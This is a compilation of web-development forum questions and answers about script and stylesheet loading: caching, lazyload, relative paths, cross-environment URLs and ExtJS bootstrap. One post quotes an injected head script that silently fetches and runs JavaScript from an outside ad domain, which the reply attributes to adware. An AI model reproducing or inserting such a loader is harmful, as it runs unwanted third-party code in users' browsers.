I am observing a strange behaviour. I have some HTML/JS files. I am using SimpleServer as web server. I notice that the latest version of one particular file is not uploaded even after I change that file. When I inspect the file using browser's developer tools, I still see old code. What could be the reason?
The file in SpecHelper.js. It is included in index.html as follows
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Jasmine Spec Runner v2.3.4</title>
<link rel="shortcut icon" type="image/png" href="lib/jasmine-2.3.4/jasmine_favicon.png">
<link rel="stylesheet" type="text/css" href="lib/jasmine-2.3.4/jasmine.css">
<!-- App Dependencies -->
<script src="lib/jquery-2.1.4.js"></script>
<script src="/vendor.js"></script>
<!-- Test libraries -->
<script type="text/javascript" src="lib/jasmine-2.3.4/jasmine.js"></script>
<script type="text/javascript" src="lib/jasmine-2.3.4/jasmine-html.js"></script>
<script type="text/javascript" src="lib/jasmine-2.3.4/boot.js"></script>
<!-- include source files here... -->
<script type="text/javascript" src="/app.js"></script>
<!-- include spec files here... -->
<script type="text/javascript" src="SpecHelper.js"></script>
<script type="text/javascript" src="app_spec.js"></script>
</head>
<body>
<p>test </p>
</body>
</html>
If I change index.html or app_spec.js, I can see the changes but if I change SpecHelper.js, I still see the old code! I am debugging SpecHelper.js and this is not helping!
In case of Google Chrome browser: did you try chrome's "empty cache and hard reload" option after right-clicking to the refresh button with opened dev tools window?
You should try to open the page in an incognito or private browser window too.
Related
I came across the following index.html page in which i didn't find any custom assets, such as js and css files. The assets path is as follows
I am not able to find where we have included assets/css/custom/.css assets/js/custom/.js files.
Is there a way to hide these css and js file from html code?
<!DOCTYPE html>
<html ng-app="App">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Where passion meets potential</title>
</head>
<body>
<!-- start of loading jquery -->
<script src="assets/js/vendor/jquery/jquery.min.js"></script>
<script src="assets/js/vendor/lazyload/lazyload.js"></script>
<!-- Loading angular and angular route via CDN -->
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js"></script>
<script src="//cdn.firebase.com/js/client/2.2.4/firebase.js"></script>
<script src="//cdn.firebase.com/libs/angularfire/1.2.0/angularfire.min.js"></script>
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.25/angular-route.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/ngStorage/0.3.6/ngStorage.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/angular-filter/0.5.8/angular-filter.min.js"></script>
<!-- Loading Angular Controller -->
<script src="controller.js"></script>
<!-- using lazyload to load our dependencies programatically -->
<script src="assets/js/vendor/lazyload/application-css.js"></script>
<script src="assets/js/vendor/lazyload/application-js.js"></script>
<!-- Main Content -->
<div id="main">
<!-- angular template injection-->
<div ng-view></div>
</div>
<!-- END Content -->
</body>
</html>
Just read the comments. A library called lazyload is used to load all dependencies, probably from the folders you named.
<!-- using lazyload to load our dependencies programatically -->
<script src="assets/js/vendor/lazyload/application-css.js"></script>
<script src="assets/js/vendor/lazyload/application-js.js"></script>
I don't know how it works exactly but I assume it will add the lazily loaded files somewhere to the DOM. The client will always be able to find those resources somehow (e.g. the network tab of chrome devtools).
The files in the code above will probably contain information about how it works for your project.
I'm trying out vuejs by following along with the laracasts series of webcasts on this. I'm using netbeans 8.1 as my editor and you can see my file structure above. In https://laracasts.com/series/learning-vuejs/episodes/5 Jeffery Way shows the following code which I have adapted:
<head>
<title>Tasks</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon" href="">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/vue/1.0.12/vue.js"></script>
<script type="text/javascript" src="Sources/app.js"></script>
</head>
In the console I see:
GET http://localhost:8383/vue1/Sources/app.js net::ERR_EMPTY_RESPONSE
I suspect I have the file path wrong. I've been reading http://www.jibbering.com/faq/faq_notes/script_tags.html but have not not come up with an answer. What am I doing wrong?
Is "Site Root" a subfolder on the same folder as "Sources"?
If yes, try it out:
<script type="text/javascript" src="../Sources/app.js"></script>
Or move Sources dir to inside Site Root.
I am writing a webapplication and when I look to the source code in my chrome browser, I find the following script in my header:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="css/bootstrap-yeti.min.css">
<!-- Latest compiled and minified JavaScript -->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script type="text/javascript">(function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src="http://img.rafomedia.com/zr/js/adrns.js?20150807";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);})();</script></head>
This is what I uploaded:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="css/bootstrap-yeti.min.css">
<!-- Latest compiled and minified JavaScript -->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
It this a harmful script? What does it do and how can I remove this? Googling http://img.rafomedia.com/zr/js/adrns.js does not learn me a lot about this issue...
I've had this problem exactly. This script will appear in <head> tag on any website and generate lots of ads.
uninstall iSafe***.exe or yac(yet another cleaner) from you computer will solve your problem.
I have creatd a solution in Visual Studio 2013 which comprises two web application projects Core.Web and App.Web. Core.Web uses the url web.core.dev. App.Web uses the url web.app.dev.
Core.Web contains several javascript and css files that can be shared between projects. App.Web references these javascript files. App.Web may have an html file like
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>App1.Web</title>
<!-- core javascript -->
<script src="//web.core.dev/Javascript/Common.js" type="text/javascript"></script>
<script src="//web.core.dev/Javascript/Ticker.js" type="text/javascript"></script>
<!-- local javascript -->
<script src="index.js" type="text/javascript"></script>
<!-- core css -->
<link href="//web.core.dev/Style/Reset.css" rel="stylesheet" type="text/css" />
<link href="//web.core.dev/Style/Global.css" rel="stylesheet" type="text/css" />
<!-- local css -->
<link href="index.css" rel="stylesheet" type="text/css" />
</head>
<body>
...
</body>
</html>
This works fine locally. But when I come to publish live these links will not work unless I change them manually (web.core.dev changed to core.mywebsite.com). I would like to be able to publish the project and not have to worry about changing the local hrefs to live hrefs.
Is there a standard strategy that allows the domains to be changed depending on where they are published? A strategy that works for both .aspx and .html files?
When I run the below page which is just HTML one with extjs files, after loading I inspect Firebug, so in in Firebug under "net" shows all requests which are a total of 5...but the problem is that ext-all-debug.js is loaded twice but the other JS and CSS are loaded once...I am just wondering as why it is loaded twice...pls check below code and advise me..
thanks in advance....
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title id='title'>HTML Page setup Tutorial</title>
<!-- ** CSS ** -->
<!-- base library -->
<link rel="stylesheet" type="text/css" href="extjs/css/ext-all.css" />
<!-- overrides to base library -->
<!-- ** Javascript ** -->
<!-- ExtJS library: base/adapter -->
<script type="text/javascript" src="extjs/bootstrap.js"></script>
<!-- ExtJS library: all widgets -->
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- overrides to library -->
<!-- extensions -->
<!-- page specific -->
</head>
<body>
</body>
</html>
If you include bootstrap.js, it will automatically load the Ext-Libraries.
If you are local (that means, localhost, any IP-adress or file://
url) this is ext-all-debug.js.
ext-all.js otherwise.
Just use bootstrap.js or ext-all-debug.js exclusively.